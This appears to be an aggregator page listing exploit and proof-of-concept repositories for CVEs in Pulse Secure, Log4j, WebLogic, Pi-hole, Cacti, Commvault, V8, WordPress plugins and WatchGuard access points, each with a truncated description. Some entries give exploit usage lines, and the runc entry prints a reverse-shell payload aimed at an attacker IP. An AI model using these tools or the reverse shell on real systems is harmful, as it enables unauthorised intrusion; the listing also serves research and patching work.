APT-Backpack

APT-Backpack Most common used CVE's by APT, legitimate RAT and other tools used by adversary CVE's CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 Unauth file read CVE-2019-19781 Citrix ADC & Gateway Directory Traversal CVE-2020-5902 F5 Big IP RCE CVE-2021-1497 Cisco HyperFlex HX Unauth Command...

CVE-2024-4947-PoC

CVE-2024-4947 — Confusión de tipos en V8 Maglev → RCE completo PoC d8 Una cadena de explotación completa y autocontenida para CVE-2024-4947 confusión de tipos en V8 Maglev, desde el disparador inicial de la confusión de tipos hasta la ejecución arbitraria de código. El PoC se ejecuta contra una...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC for CVE-2021-44228. Project made for EDUCATIONAL PURPOSES ONLY. Exploit server This project creates two servers: http and ldap. Both are necessary for exploit to work. Specified java file is compiled and servers are started in Dockerfile. Payload is shown to user - it has t...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/ The main reason I setup a python script for this particular cve was that the metasploit version of the same did not work for me when I tried to solve the HTB machine Arctic. Also it was nice to get some littl...

CVE-2026-52618

CVE-2026-52618 — @webfer/mcp-ansible-drupal: OS command injection via executeDeployment extra vars spawncmd0, cmd.slice1, shell: true re-joins an argument array into a single /bin/sh -c string without escaping, so a shell metacharacter in an extraVars value supplied to the executeDeployment MCP...

CVE-2026-39987.py

CVE-2026-39987.py Este script de Python explota el endpoint vulnerable /terminal/ws de marimo y devuelve una shell interactiva. CÓMO USAR : El único cambio que hay que hacer es cambiar la variable HOST en el script. Después de cambiar la variable HOST, ejecuta el script en tu terminal como en el...

CVE-2026-86102

An OS command injection vulnerability in the WatchGuard AP internal API service allows an attacker with network access to the AP to execute arbitrary shell commands on the underlying operating system...

CVE-2020-8816

CVE-2020-8816 A Python script to exploit CVE-2020-8816, a remote code execution vulnerability on the Pi-hole. This script uses the techniques found by François Renaud-Philippon to achieve remote code execution on a Pi-hole running a web interface version less than 4.3.3. The exploit requires the...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate RCE no autenticado -red.svg Ejecución remota de código crítica sin autenticación CVSS 10.0 — Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 Esta herramienta explota CVE-2026-57811 , una vulnerabilidad crítica en el plugin de WordPress Realty...

solrradar

Mass Reconnaissance & Exploitation Framework for Apache Solr Velocity Template Injection → Remote Code Execution 📑 Table of Contents Vulnerability Overview Affected Versions Features Installation Usage Proof of Concept Technical Deep-Dive Detection Methodology Defense & Mitigation Disclaimer...

EUVD-2026-88364

An OS command injection vulnerability in the WatchGuard AP internal API service allows an attacker with network access to the AP to execute arbitrary shell commands on the underlying operating system...

CVE-2026-86102 WatchGuard AP Command Injection in Internal Management API Allows Command Execution

An OS command injection vulnerability in the WatchGuard AP internal API service allows an attacker with network access to the AP to execute arbitrary shell commands on the underlying operating system...

CVE-2026-86102

The WatchGuard AP is affected by an OS command injection vulnerability within its internal API service . An attacker with network access to the AP can exploit this flaw to execute arbitrary shell commands on the underlying operating system. The vulnerability is assigned a CRITICAL base severity s...

CVE-2026-86102 WatchGuard AP Command Injection in Internal Management API Allows Command Execution

An OS command injection vulnerability in the WatchGuard AP internal API service allows an attacker with network access to the AP to execute arbitrary shell commands on the underlying operating system...

CVE-2017-10271

Brief Description Command execution with echo output Direct shell upload Tested OK on Linux with WebLogic 10.3.6.0 Usage python weblogicwlswsatexp.py -t 172.16.80.131:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and...

CVE-2022-46196

CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...

CVE-2026-59310

CVE-2026-59310 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso sencillo Utilice este proyecto únicamente en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entorno...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 A Commvault Pre-Authenticated Remote Code Execution Proof of Concept See our blog post for technical details Detection in Action python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / |...

TempRoot-Huawei

TempRoot-Huawei Temporary root for Huawei hardened kernel via CVE-2019-2215 This code is written for P20 Pro CLT-AL00, and kernel offset is taken from firmware with build fingerprint: 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' Background Like Samsung's KNOX, Huawei adde...